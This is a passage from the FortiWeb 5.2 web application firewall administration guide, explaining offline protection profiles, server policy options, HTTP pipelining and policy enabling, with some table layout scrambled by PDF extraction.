Enable to include the reason for redirection as a parameter in the
URL, such as reason=Parameter%20Validation%20Violation, when traffic has been redirected using
Redirect URL
. The FortiWeb appliance also adds fortiwaf=1 to the URL to detect and cancel a redirect loop (if the redirect action would otherwise recursively triggers an attack event).
By default, this option is disabled.
Caution: If the FortiWeb appliance is protecting a redirect URL, enable this option to prevent infinite redirect loops.
Data Analytics
Enable to gather hit, attack, and traffic volume statistics for each server policy that includes this profile. See
“Configuring policies to gather data” on page 631
and
“Viewing web site statistics” on page 632 .
Note: This option cannot be enabled until you have uploaded a
geography-to-IP mapping database. See “Updating data analytics definitions” on page 631
.
To view or modify a component without leaving the page, next to the drop-down menu where you have selected the component, click Detail.
5. Click OK.
6. If you intend to use this protection profile in conjunction with an auto-learning profile in order to indicate which attacks and other aspects should be discovered, also configure the
auto-learning profile. For details, see “Configuring an auto-learning profile” on page 186
.
7. To apply the inline protection profile, select it in a server policy. For details, see
“How operation mode affects server policy behavior” on page 487
.
See also
•
How operation mode affects server policy behavior
•
•
501 FortiWeb 5.2 Patch 2 Administration Guide
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
Offline protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can be applied by a policy. Offline protection profiles contain only the features that are supported in out-of-band topologies and asynchronous inspection, which will be used with operation modes such as transparent inspection and offline protection.
Offline protection profiles’ primary purpose is to detect attacks, especially for use in conjunction with auto-learning profiles. Depending on the routing and network load, due to limitations inherent to out-of-band topologies and asynchronous inspection, FortiWeb may not be able to reliably block all of the attacks it detects, even if you have configured FortiWeb with an Action setting of Alert & Deny. In fact, if used in conjunction with auto-learning profiles, you
should configure the offline protection profile to log but not block attacks in order to gather complete session statistics for the auto-learning feature.
Offline protection profiles only include features that do not require an inline network topology.
They can be configured at any time, but cannot be applied by a policy if the FortiWeb appliance is operating in a mode that does not support them. For details, see
To configure an offline protection profile
1. Before configuring an offline protection profile, first configure any of the following that you want to include in the profile:
To save time, you may be able to use auto-learning to generate protection profiles and their
components by observing your web servers’ traffic. For details, see “Auto-learning” on page 160 .
Fortinet 502 FortiWeb 5.2 Patch 2 Administration Guide
•
an allowed method policy (see “Specifying allowed HTTP methods” on page 459
)
• a file upload restriction policy (see
“Limiting file uploads” on page 475
)
• a URL access policy (see
“Restricting access to specific URLs” on page 339
)
•
a signature set (see “Blocking known attacks & data leaks” on page 405
) and/or oracle
• a parameter validation policy (see
“Validating parameters (“input rules”)” on page 444 )
•
a hidden field protection rule (see “Preventing tampering with hidden inputs” on page 453 )
•
a brute force login attack profile (see “Preventing brute force logins” on page 375
•
a protocol constraints profile (see “HTTP/HTTPS protocol constraints” on page 463
)
•
a robot control profile (see “Blacklisting content scrapers, search engines, web crawlers,
• an IP list (see
“Blacklisting & whitelisting clients using a source IP or source IP range” on page 353 )
•
the IP reputation policy (see “Blacklisting source IPs with poor reputation” on page 348 )
•
• a trigger if you plan to use policy-wide log and alert settings (see
“Configuring triggers” on page 587 )
2. Go to Policy > Web Protection Profile > Offline Protection Profile.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
Predefined profiles cannot be edited, but can be viewed and cloned.
Fortinet 503 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet 504 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Name
Session
Management
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Enable to use your web application’s session IDs in order for FortiWeb to be able to track the state of web applications across multiple requests.
Also configure Session Timeout.
Note: When FortiWeb is deployed in an offline topology or asynchronous operation mode, this feature requires that your web applications have
session IDs in their URL. For details, see “HTTP sessions & security” on page 34 and
“Supported features in each operation mode” on page 69 .
Note: Enabling this option is required if:
• you select features requiring session cookies, such as
• in any policy, you will select an auto-learning profile with this profile
• you want to include this profile’s traffic in the traffic log
Session Timeout Type the HTTP session timeout in seconds.
After this time elapses during which there were no more subsequent requests, after which the FortiWeb appliance will regard the next request as the start of a new HTTP session.
This option appears only if
Session Management
is enabled. The default is 1200 (20 minutes).
Session Key
Type the name of the session ID, if any, that your web application uses in the URL to identify each session.
By default, FortiWeb tracks some common session ID names:
ASPSESSIONID
, PHPSESSIONID, and JSESSIONID. Configure this field if your web application uses a custom or uncommon session ID. In those cases, you do not need to configure this setting.
For example, in the following URL, a web application identifies its sessions using a parameter with the name mysession: page.php?mysession=123ABC&user=user1
In that case, you must configure
FortiWeb will be able to recognize the session ID, 123ABC, and apply features that require sessions in order to function.
This option appears only if
Session Management
is enabled.
Signature
Select the name of the signature set, if any, that will be applied to matching requests.
Attack log messages for this feature vary by which type of attack was detected. For a list, see
“Blocking known attacks & data leaks” on page 405
.
Note: If a WAF Auto Learning Profile will be selected in the policy with this profile, you should select a signature set whose Action is Alert. If the
Action is Alert & Deny, the FortiWeb appliance will reset the connection when it detects an attack, resulting in incomplete session information for the auto-learning feature.
505 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Enable AMF3
Protocol
Detection
Enable XML
Protocol
Detection
Illegal XML
Format
Description
Enable to scan requests that use action message format 3.0 (AMF3) for:
• cross-site scripting (XSS) attacks
• SQL injection attacks
• common exploits and other attack signatures that you have enabled in
Signature
.
AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send input to server-side software.
Caution: To scan for attacks or enforce input rules on AMF3, you must enable this option. Failure to enable the option will cause the FortiWeb appliance to be unable to scan AMF3 requests for attacks.
Enable to scan for matches with attack and data leak signatures in Web
2.0 (XML AJAX) and other XML submitted by clients in the bodies of
HTTP POST requests.
Enable to validate that XML elements and attributes in the request’s body conforms to the W3C XML 1.1
and/or XML 2.0
standards.
Malformed XML, such as without the final > or with multiple >> in the closing tag, is often an attempt to exploit an unhandled error condition in a web application’s XHTML or XML parser.
Attack log messages contain Illegal XML Format when this feature detects malformed XML.
Custom Access
Select the name of a combination source IP, rate limit, HTTP header, and
URL access policy, if any, that will be applied to matching requests. See
“Combination access control & rate limiting” on page 343 .
Attack log messages contain Advanced Protection Violation when this feature detects a violation.
Padding Oracle
Protection
Select the name of padding oracle protection rule, if any, that will be applied to matching requests. See
“Defeating cipher padding attacks on individually encrypted inputs” on page 429
.
Attack log messages contain Padding Oracle Attack when this feature detects a violation.
Parameter
Validation Rule
Select the name of the HTTP parameter validation rule, if any, that will be applied to matching requests. See
“Validating parameters (“input rules”)” on page 444
.
Attack log messages contain Parameter Validation Violation when this feature detects a parameter rule violation.
Note: If a WAF Auto Learning Profile will be selected in a server policy using this profile, you should select a parameter validation rule whose
Action is Alert. If the Action is Alert & Deny, the FortiWeb appliance will reset the connection when it detects an attack, resulting in incomplete session information for the auto-learning feature.
506 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Hidden Fields
Protection Rule
Select the name of a hidden fields group, if any, that will be applied to matching requests. See
“Preventing tampering with hidden inputs” on page 453
.
Attack log messages contain Hidden Field Manipulation when this feature detects hidden input tampering.
This option appears only if
Session Management
is enabled.
File Upload
Restriction
Policy
HTTP Protocol
Constraints
Select an existing file upload restriction policy, if any, that will be applied
to matching requests. See “Limiting file uploads” on page 475
.
Attack log messages contain Illegal file size when this feature detects an excessively large upload.
Select the name of an HTTP protocol constraint, if any, that will be
applied to matching requests. See “HTTP/HTTPS protocol constraints” on page 463
.
Attack log messages for this feature vary by which type of attack was detected. For a list, see
“HTTP/HTTPS protocol constraints” on page 463
.
URL Access
Policy
Allow Request
Method Policy
Brute Force
Login
Select the name of the URL access policy, if any, that will be applied to matching requests. See
“Restricting access to specific URLs” on page 339
.
Attack log messages contain URL Access Violation when this feature detects a request that violates this policy.
Note: Do not select an URL access policy if this offline protection profile will be used in a policy with WAF Auto Learning Profile. Selecting an URL access policy will cause the FortiWeb appliance to reset the connection when it detects a request with a blocked URL and Host: field combination, resulting in incomplete session information for the auto-learning feature.
Select an existing allowed method policy, if any, that will be applied to matching requests. See
“Specifying allowed HTTP methods” on page 459
.
Attack log messages contain HTTP Method Violation when this feature detects a non-allowed HTTP request method.
Note: If a WAF Auto Learning Profile will be selected in a server policy using this profile, you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the FortiWeb appliance will reset the connection, and therefore cannot learn about the session.
Select the name of a brute force login attack profile, if any, that will be
applied to matching requests. See “Preventing brute force logins” on page 375
.
Attack log messages contain Brute Force Login Violation when this feature detects a brute force login attack.
507 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
IP List Policy
Description
Select the name of a client black list or white list, if any, that will be
Attack log messages contain Blacklisted IP blocked when this feature detects a blacklisted source IP address.
Geo IP
IP Reputation
Select the name of a geographically-based client black list, if any, that will be applied to matching requests. See
“Blacklisting countries & regions” on page 350
.
Allow Known
Search Engines
Enable to exempt popular search engines’ spiders from DoS sensors, brute force login sensors, HTTP protocol constraints, and combination rate & access control (called “advanced protection” and “custom policies” in the web UI).
This option improves access for search engines. Rapid access rates, unusual HTTP usage, and other characteristics that may be abnormal for web browsers are often normal with search engines. If you block them, your web sites’ rankings and visibility may be affected.
By default, this option allows all popular predefined search engines. To specify which search engines will be exempt, click the Details link. A new frame will appear on the right side of the protection profile. Enable or disable each search engine, then click Apply. See also
“Blacklisting content scrapers, search engines, web crawlers, & other robots” on page 355
.
File Uncompress
Rule
Select the name of a file decompression policy, if any, that will be applied
Data Analytics
Enable to gather hit, attack, and traffic volume statistics for each server
policy that includes this profile. See “Configuring policies to gather data” on page 631
and
“Viewing web site statistics” on page 632 .
Note: This option cannot be enabled until you have uploaded a
geography-to-IP mapping database. See “Updating data analytics definitions” on page 631 .
To view or modify a component without leaving the page, next to the drop-down menu where you have selected the component, click Detail.
5. Click OK.
6. If you will use this offline protection profile in conjunction with an auto-learning profile in order to indicate which attacks and other aspects should be discovered, also configure the
auto-learning profile. For details, see “Configuring an auto-learning profile” on page 186
.
7. To apply the offline protection profile, select it in a policy. For details, see
“How operation mode affects server policy behavior” on page 487
.
508 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
How operation mode affects server policy behavior
•
•
Configuring a server policy
Configure server policies by combining your rules, profiles, and sub-policies.
Server policies:
• Block or allow connections
• Apply a protection profile that specifies how FortiWeb will scan or process the HTTP/HTTPS requests that it allows
• Route or let pass traffic to destination web servers
• Optionally, use an auto-learning profile to gather additional information about your
HTTP/HTTPS traffic for use as guidance when modifying the policy or profiles
Until you configure and enable at least one policy, FortiWeb will, by default:
• when in reverse proxy mode, deny all traffic.
• when in other operation modes, allow all traffic.
Server policy behavior and supported features vary by operation mode. For details, see
“How operation mode affects server policy behavior” on page 487
. It also varies by whether or not the policy uses IPv6 addresses.
If a policy has any virtual servers, physical servers, or domain servers with IPv6 addresses, it will not apply features that do not yet support IPv6, even if they are selected.
To achieve more complex policy behaviors and routing, you can chain multiple policies together. See
“Defining your web servers” on page 262
.
To configure a policy
There is a limit to the number of server policies you can create. The limit varies with the model of your FortiWeb appliance. For details, see
“Appendix B: Maximum configuration values” on page 702 .
Do not configure policies unless they will be used. FortiWeb allocates memory with each server policy, regardless of whether it is actually in active use. Configuring extra policies will unnecessarily consume memory and decrease performance.
Fortinet 509 FortiWeb 5.2 Patch 2 Administration Guide
1. Before you configure a policy, you usually should first configure any of the following that you must, or want to, include in the policy:
Alternatively, you can create missing components on-the-fly while configuring the policy, without leaving the page. To do this, select Create New from each policy component’s drop-down menu.
However, when creating many components, you may save time by leaving the policy page, going to the other menu areas, and creating similar profiles by cloning, then modifying each clone.
Generally speaking, policies tie other components together and apply them to client’s connections with your web servers. As such, they should be configured last. See
.
• If the policy will govern secure connections via HTTPS, you must upload the web server’s certificate, define a certificate verification rule, and possibly also an intermediate CA
certificate group. See “Secure connections (SSL/TLS)” on page 294 .
• Define your web servers by configuring either physical servers or domain servers. See
“Defining your web server by its IP address” on page 263 and
“Defining your web server by its DNS domain name” on page 264
. If you want to distribute connections among them, group them into a server farm. See
“Grouping your web servers into server farms” on page 268 .
• Define one or more host names or IP addresses if you want to accept or deny requests based upon the Host: field in the HTTP header. See
““Defining your protected/allowed
HTTP “Host:” header names” on page 260
.
• Configure a virtual server or V-zone to receive traffic on the FortiWeb appliance. See
“Configuring virtual servers on your FortiWeb” on page 288 or
•
(any mode except offline protection),
(offline protection mode only).
To save time, you may be able to use auto-learning to generate protection profiles and their components by observing your web servers’ traffic. For details, see
.
• If you want the FortiWeb appliance to gather auto-learning data, either configure an
.
• If you want to present a customized error page when a request is denied by a protection profile, upload the error page. See
“Uploading a custom error page” on page 491
.
2. Go to Policy > Server Policy > Server Policy.
Fortinet
To access this part of the web UI, your administrator account’s access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
510 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New.
A dialog appears. Available options vary by the operation mode.
Fortinet 511 FortiWeb 5.2 Patch 2 Administration Guide
Figure 50:Policy dialog (reverse proxy mode)
Fortinet 512 FortiWeb 5.2 Patch 2 Administration Guide
Figure 51:Policy dialog (offline protection mode)
Figure 52:Policy dialog (true transparent proxy mode)
Fortinet 513 FortiWeb 5.2 Patch 2 Administration Guide
Figure 53:Policy dialog (transparent inspection mode)
4. Configure the following options.
The operation mode and your choice for
Deployment Mode
changes the other available
Fortinet 514 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet options.
Setting name
Policy Name
Description
Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Deployment Mode Select the method of distribution (load balancing algorithm) that the
FortiWeb appliance will use when accepting connections for this policy.
Depending on the types of network topologies that the current operation mode supports, not all deployment modes may be available.
• Single Server — Forward connections to a single physical server or domain server. This option is available only if the FortiWeb appliance is operating in reverse proxy mode.
• Server Balance — Use a load-balancing algorithm when distributing connections amongst the web servers in a server farm.
If a web server is unresponsive to the server health check, the
FortiWeb appliance forwards subsequent connections to another web server in the server farm. Also configure
Load Balancing
Algorithm
,
Persistence Timeout
,
Server Health Check
, and
Server
Farm
. This option is available only if the FortiWeb appliance is operating in reverse proxy mode.
Tip: Do not use load balancing with web applications that use server-side sessions, unless all load-balanced servers share common storage for session ID and other software states.
Problems could include the client being unable to log in or complete other stateful transactions. (Each HTTP request could be forwarded to a separate server that has no knowledge of any session previously established by the client on another server.)
Load balancing can be used by web applications that use client-side sessions (i.e. session cookies).
• HTTP Content Routing — Use HTTP content routing to route
HTTP requests to a specific web server in a server farm by specifying the host or URL and the request file.
• Offline Protection — Allow connections to pass through the
FortiWeb appliance, and apply an offline protection profile. Also configure
Server Health Check
and
Server Farm
. This option is available only if operation mode is offline protection.
• Transparent Servers — Allow connections to pass through the
FortiWeb appliance, and apply a protection profile. Also configure
Server Farm
. This is the only option available when the operation mode is either true transparent proxy or transparent inspection.
515 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Virtual Server
or
Data Capture Port
or
V-zone
Select the name of a virtual server, data capture (listening) network interface, or v-zone (bridge).
The name and purpose of this drop-down list varies by operation mode:
• Reverse proxy —
Virtual Server
identifies the IP address and network interface of incoming traffic that will be routed and to which the policy will apply a profile.
• Offline protection —
Data Capture Port
identifies the network interface of incoming traffic that the policy to which it will attempt to apply a profile. The IP address will be ignored.
• True transparent proxy or transparent inspection —
V-zone
identifies the network interface of the incoming traffic to which the policy will apply a profile.
Server Type
Description
Physical Server or
Domain Server
If you selected Single Server from
Deployment Mode
, indicate how you will define that server by selecting either Physical Server or
Domain Server.
Select either the physical or domain server to which to forward connections, or select Create New to configure a new web server definition in a pop-up window, without leaving the current page. For
details, see “Defining your web server by its IP address” on page 263
or
“Defining your web server by its DNS domain name” on page 264
.
This option appears only when you have selected Single Server from
Deployment Mode
.
Server Farm
Select the server farm whose web servers will receive the connections. For details, see
“Grouping your web servers into server farms” on page 268
.
This option appears only if Deployment Mode is Server Balance, HTTP
Content Routing, Offline Protection, or Transparent Servers.
Caution: Multiple virtual servers/policies can forward traffic to the same server farm. If you do this, consider the total maximum load of connections being forwarded by all virtual servers to your server farm.
This configuration can multiply traffic forwarded to your server farm, potentially overloading them and causing dropped connections.
Note: If
Deployment Mode
is Offline Protection or Transparent
Servers, you must select a server farm, even though the FortiWeb appliance will allow connections to pass through instead of actively distributing connections. Therefore, if you want to govern connections for only a single web server, rather than a group of servers, you must configure a server farm with that single web server as its only member in order to select it in the policy.
516 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Protected
Hostnames
Description
Select a protected host names group to allow or reject connections based upon whether the Host: field in the HTTP header is empty or does or does not match the protected host names group. For details,
see “Defining your protected/allowed HTTP “Host:” header names” on page 260 .
If you do not select a protected host names group, requests will be accepted or blocked based upon other criteria in the policy or protection profile, but regardless of the Host: field in the HTTP header.
Attack log messages contain HTTP Host Violation when this feature does not detect an allowed host name.
Caution: Unlike HTTP 1.1, HTTP 1.0 does not require the Host: field.
The FortiWeb appliance will not block HTTP 1.0 requests for lacking this field, regardless of whether or not you have selected a protected host names group.
Persistent Server
Sessions
Type the maximum number of concurrent TCP connections that will be maintained by this policy to back-end servers.
The maximum number of HTTP sessions established with each server depends on this field, and whether you have selected a single web server or a
Server Farm
and
Load Balancing Algorithm
.
For example, if you set the value of
Persistent Server Sessions
to
10,000 and there are 4 web servers in a server farm that uses Round
Robin-style load-balancing, up to 10,000 client connections would be accepted, resulting in up to 2,500 HTTP sessions evenly distributed to each of the 4 web servers.
The default value varies. Each model of FortiWeb appliance has a maximum allowed number of persistent sessions. The Edit Policy dialog lists the minimum and maximum for your FortiWeb model next to this field. For specifications, see
“Appendix B: Maximum configuration values” on page 702
.
Tip: You can configure logging and/or alert email to notify you when the appliance approaches its maximum. See the logging option
.
Blocking Port
Syn Cookie
Select which network interface will be used to send TCP RST
(connection reset) packets in order to attempt to block the request/connection when policy-violating traffic is detected. For details on blocking behavior, see
“Topology for offline protection mode” on page 74
.
This option appears only if the FortiWeb appliance is operating in offline protection mode.
Enable to prevent TCP SYN floods. Also configure
Half Open
Threshold
.
Note: This option is applicable only if the appliance is operating in true transparent proxy mode. (Other modes use DoS protection profiles
instead. See “Preventing a TCP SYN flood” on page 372
.)
517 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Half Open
Threshold
HTTP Service
Physical Server
Port
(under
HTTP
Service
)
HTTPS Service
Physical Server
Port
(under
HTTPS
Service
)
Description
Type the TCP SYN cookie threshold in packets per second. Also configure
Syn Cookie
.
Note: This option is applicable only if the appliance is operating in true transparent proxy mode. (Other modes use DoS protection profiles
instead. See “Preventing a TCP SYN flood” on page 372
.)
Select the custom or predefined service that defines the TCP port number where the virtual server or bridge receives HTTP traffic.
This option does not apply to either of the transparent modes.
Type the TCP port number where the physical/domain server listens for HTTP web or web services connections. The valid range is from 0 to 65,535.
This option appears only if
Deployment Mode
is Single Server.
Select the custom or predefined service that defines the TCP port number where the virtual server receives HTTPS traffic. Also configure
Certificate
.
Enable if requests from clients to the FortiWeb appliance or back-end servers use SSL or TLS. SSL 3.0, TLS 1.0, and TLS 1.1 are supported.
See also
“Supported cipher suites & protocol versions” on page 296
.
When enabled, the FortiWeb appliance handles SSL negotiations and encryption and decryption, instead of the web servers, also known as
SSL offloading (see “Offloading vs. inspection” on page 294 ).
Connections between the client and the FortiWeb appliance will be encrypted. Connections between the FortiWeb appliance and each web server will be either clear text or encrypted, depending on
SSL
Server
.
This option appears only if FortiWeb is operating in reverse proxy mode. (For other operation modes, enable
and select a
for each web server in the server farm (for SSL
inspection) instead.
Caution: Failure to enable an HTTPS option and provide a certificate for HTTPS connections will result in the FortiWeb appliance being unable to decrypt connections, and therefore unable to scan content in the HTTP body.
Tip: FortiWeb appliances contain specialized hardware to accelerate
SSL processing. Offloading SSL/TLS processing may improve the performance of secure HTTP (HTTPS) connections.
Type the TCP port number where the physical/domain server listens for HTTPS web or web services connections. The valid range is from 0 to 65,535.
This option appears only if
Deployment Mode
is Single Server. (For
other deployment modes, configure
in the server farm instead.)
518 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
SSL Server
Description
Enable to use SSL/TLS to encrypt connections from the FortiWeb appliance to protected web servers. Also configure
Certificate
and
HTTPS Service
.
Disable to pass traffic to protected web servers in clear text.
This option appears in reverse proxy mode when you select an
HTTPS
Service
, and when
Deployment Mode
is Single Server. (In other cases, such as if you set
Deployment Mode
to Server Balance, you must enable
in the server farm instead, where you can configure the
SSL/TLS connection with each member individually.)
Note: Enable only if the protected web server supports SSL or TLS. If you are unsure, click SSL Support Test. If you encrypt the connection but the server does not support it, all requests forwarded to the server will fail.
Add HSTS Header
Enable to combat MITM attacks on HTTP by injecting the RFC 6797 strict transport security header into the reply, such as:
Strict-Transport-Security: max-age=31536000; includeSubDomains
This forces the client to use HTTPS for subsequent visits to this domain. If the certificate does not validate, it also causes a fatal connection error: the client’s web browser will not display any dialog that allows the user to override the certificate mismatch error and continue.
This setting appears only if
HTTPS Service
is selected, and applies only if the operation mode is reverse proxy. (For true transparent proxy, see
in the server farm instead.).
Max. Age
Certificate
Type the time to live in seconds for the HSTS header.
is enabled.
Select the server certificate the FortiWeb appliance will use when encrypting or decrypting SSL-secured connections, or select Create
New to upload a new certificate in a pop-up window, without leaving the current page. For more information, see
“Uploading a server certificate” on page 306
and “Offloading vs. inspection” on page 294
.
Also configure
Certificate Intermediate Group
.
This option is applicable only if an
HTTPS Service
is selected.
519 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Certificate
Verification
Description
Select the name of a certificate verifier, if any, to use when an HTTP client presents its personal certificate. (If you do not select one, the client is not required to present a personal certificate. See also
“How to apply PKI client authentication (personal certificates)” on page 310
.)
Personal certificates, sometimes also called user certificates, establish the identity of the person connecting to the web site (PKI authentication).
You can require that clients present a certificate alternatively or in
addition to HTTP authentication (see “Offloading HTTP authentication
& authorization” on page 234 ).
This option appears only if an
HTTPS Service
is selected, and only applies if the FortiWeb appliance is operating in reverse proxy mode.
(For transparent proxy mode, configure this setting in the server farm instead. See
in
“Grouping your web servers into server farms” on page 268
.)
Note: The client must support SSL 3.0 or TLS 1.0.
Client Certificate
Forwarding
Enable to include the X.509 personal certificate presented by the client during the SSL/TLS handshake, if any, in an X-Client-Cert:
HTTP header when forwarding the traffic to the protected web server.
FortiWeb will still validate the client certificate itself, but this can be useful if the web server requires the client certificate for the purpose of server-side identity-based functionality.
This option appears only if a
Certificate Verification
rule is selected.
Certificate
Intermediate
Group
Persistence
Timeout
Select the name of a group of intermediate certificate authority (CA) certificates, if any, that will be presented to clients in order to complete the signing chain for them to validate the server certificate’s
CA signature.
If clients receive certificate warnings that the server certificate configured in
Certificate
has been signed by an intermediary CA, rather than directly by a root CA or other CA currently trusted by the client, configure this option.
Alternatively, include the entire signing chain in the server certificate itself before uploading it to the FortiWeb appliance, thereby completing the chain of trust with a CA already known to the client.
See “Uploading a server certificate” on page 306
and “Supplementing a server certificate with its signing chain” on page 308 .
This option appears only if
HTTPS Service
is enabled and the
FortiWeb appliance is operating in reverse proxy mode.
Type the timeout for inactive TCP connections.
This option appears only if
Deployment Mode
is Server Balance or
Transparent Servers.
520 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Web Protection
Profile
Description
Select the profile to apply to the connections accepted by this policy, or select Create New to add a new profile in a pop-up window, without leaving the current page.
For details on specific protection profiles, see:
•
“Configuring a protection profile for inline topologies” on page 492
,
•
, or
Note: Depending on the profile types that the current operation mode
supports, not all profiles may be available. For details, see Table 43 on page 487 .
Note: Clients with source IP addresses designated as a trusted IP are exempt from being blocked by the protection profile. For details, see
“Blacklisting & whitelisting clients using a source IP or source IP range” on page 353 .
View Profile Details To display the settings contained in a profile without leaving the current page, select a profile from
Web Protection Profile
, then click this button.
To return to the policy settings, click Back to Policy Settings.
WAF Auto Learn
Profile
Select the auto-learning profile, if any, to use in order to discover attacks, URLs, and parameters in your web servers’ HTTP sessions, or select Create New to add a new auto-learning profile in a pop-up window, without leaving the current page. For details, see
“Configuring an auto-learning profile” on page 186 .
Monitor Mode
URL Case
Sensitivity
Enable to override any actions included in the profiles, and instead accept the request and generate an alert email and/or log message for all policy violations.
Auto-learning requires that you either configure all actions to be Alert or enable this option in order to collect complete session information in order to build accurate protection profiles.
Caution: Enabling this action will cause the FortiWeb appliance to
permit attack attempts to complete, ignoring the
setting (deny, redirect, etc.) in protection profile components.
Note: Logging and/or alert email will occur only if enabled and configured. See
Enable to differentiate uniform resource locators (URLs) according to upper case and lower case letters for features that act upon the URLs in the headers of HTTP requests, such as start page rules, IP list rules, and page access rules.
For example, when this option is enabled, an HTTP request involving http://www.Example.com/
would not match profile features that specify http://www.example.com (difference is lower case "e").
521 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Error Page
Description
Select, if any, either [Default] to use or a custom error page, if any, to use when responding to an HTTP request that violates the policy when the consequence
is Alert & Deny or Period Block, and when the action applies to the HTTP layer. (Actions such as blocking a
TCP/IP connection being initiated cannot, of course, contain an HTTP response.)
If you select [Default], configure
. Otherwise see
“Uploading a custom error page” on page 491 .
Error Page Return
Code
Type the HTTP status code that FortiWeb will use to respond to blocked requests, such as:
•
200
— OK. Typically indicates success, and accompanies resource requested by the client.
•
400
— Bad Request. Typically indicates wrong syntax.
•
403
— Forbidden. Typically indicates inaccessible files.
•
404
— File Not Found. Typically indicates missing files.
•
500
— Internal Server Error. Typically indicates one of many possible conditions such as a servlet runtime error.
•
501
— Not Implemented. Typically indicates a non-existent function on the web application.
If the error would normally allow an attacker to fingerprint a vulnerable application, this status can be customized to provide a more vague reply to the client. Conversely, if the application does not provide the correct error status code, you can also use this setting to correct it.
This setting appears only if
Error Page
is [Default].
Error Message
Server Health
Check
Type an error message that FortiWeb will use to respond to blocked requests.
The maximum length is 1,023 characters. This option appears only when
Error Page
is [Default].
Select which server health check, if any, to use when determining responsiveness of web servers in the server farm, or select Create
New to add a server health check in a pop-up window, without leaving the current page. For details, see
“Configuring server up/down checks” on page 265
.
This option appears only if
Deployment Mode
is Server Balance, or
Content Routing.
Note: If a web server is unresponsive, wait until the server becomes responsive again before disabling its server health check. Server health checks record the up or down status of the server. If you deactivate the server health check while the server is unresponsive, the server health check will be unable to update the recorded status, and FortiWeb appliance will continue to regard the web server as if it were unresponsive. You can determine the web server’s connectivity status using the Service Status widget or an SNMP trap. For details, see
“Server Status widget” on page 568
or “Configuring an SNMP community” on page 614 .
522 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Load Balancing
Algorithm
Comments
Description
Select which load-balancing algorithm to use when distributing new connections amongst web servers in the server farm. This option appears only if Deployment Mode is Server Balance.
• Round Robin — Distributes new TCP connections to the next web server in the server farm, regardless of weight, response time, traffic load, or number of existing connections. Unresponsive servers are avoided.
• Weighted Round Robin — Distributes new TCP connections using the round robin method, except that web servers with a higher weight value will receive a larger percentage of connections.
• Least Connection — Distributes new TCP connections to the web server with the fewest number of existing, fully-formed TCP connections.
• HTTP session based Round Robin — Distributes new TCP connections, if they are not associated with an existing HTTP session, to the next web server in the server farm, regardless of weight, response time, traffic load, or number of existing connections. Unresponsive servers are avoided.
Note: Session management is not enabled automatically when you enable this feature, and therefore it requires that you enable
in the web protection profile.
Type a description or other comment. The description may be up to 35 characters long.
5. Click OK.
The server policy appears in the list on Policy > Server Policy > Server Policy. Initially, it is
Legitimate traffic should now be able to flow, while policy-violating traffic (that is, traffic that is prohibited by the settings in your policy or protection profile) may be blocked, depending on your Action settings for the rule that the traffic has violated.
Whitelisted items will not be included in policy enforcement. See
“Configuring the global object white list” on page 488
.
6. To verify the policy, test it by forming connections between legitimate clients and servers at various points within your network topology. Also attempt to send traffic that violates your policy, and should be logged, modified, or blocked.
If you have another FortiWeb appliance, you can use its web vulnerability scanner to verify
If a connection fails, you can use tools included in the firmware to determine whether the
problem is local to the appliance or elsewhere on the network. See “Troubleshooting” on
523 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
and
“Reducing false positives” on page 657 . Also consider troubleshooting
recommendations included with each feature’s instructions.
See also
•
•
How operation mode affects server policy behavior
•
How to offload or inspect HTTPS
•
How to force clients to use HTTPS
•
Enabling or disabling a policy
•
•
External load balancers: before or after?
•
HTTP pipelining
For clients that support HTTP 1.1, HTTP pipelining can be used to accelerate transactions by bundling them inside the same TCP connection, instead of waiting for a response before sending/receiving the next request. This can increase performance when pages containing many images, scripts, and other auxiliary files are all hosted on the same domain, and therefore logically could use the same connection.
Only GET and HEAD methods are supported. Clients must include the Connection: keep-alive
HTTP header and use HTTP 1.1 (not 1.0) in order to trigger FortiWeb to allow pipelined requests and send pipelined responses.
This feature is supported only when FortiWeb is operating in reverse proxy or true transparent proxy mode.
To configure HTTP pipelining
1. Connect to the CLI.
2. Enter the commands to enable HTTP pipelining in each policy that requires it, such as: config server-policy policy edit "policy1" set http-pipeline enable next end
See also
•
Defining your protected/allowed HTTP “Host:” header names
•
Enabling or disabling a policy
You can individually enable and disable policies.
When the operation mode is reverse proxy, disabling a policy could block traffic if no remaining active policies match that traffic. When no policies exist or none are enabled, the FortiWeb appliance blocks all HTTP/HTTPS traffic.
524 FortiWeb 5.2 Patch 2 Administration Guide
Even if you disable a server policy, it will still consume memory (RAM). If you do not plan to use the policy for some time, consider deleting it instead.
To enable or disable a policy
1. Go to Policy > Server Policy > Server Policy.
2. In the row corresponding to the policy that you want to enable, mark the check box in the
Enable column.
3. In the row corresponding to the policy that you want to disable, clear the check box in the
Enable column.
See also
•
How operation mode affects server policy behavior
•
Fortinet 525 FortiWeb 5.2 Patch 2 Administration Guide
Anti-defacement
The anti-defacement features monitors your web sites for defacement attacks. If it detects a change, it can automatically reverse the damage.
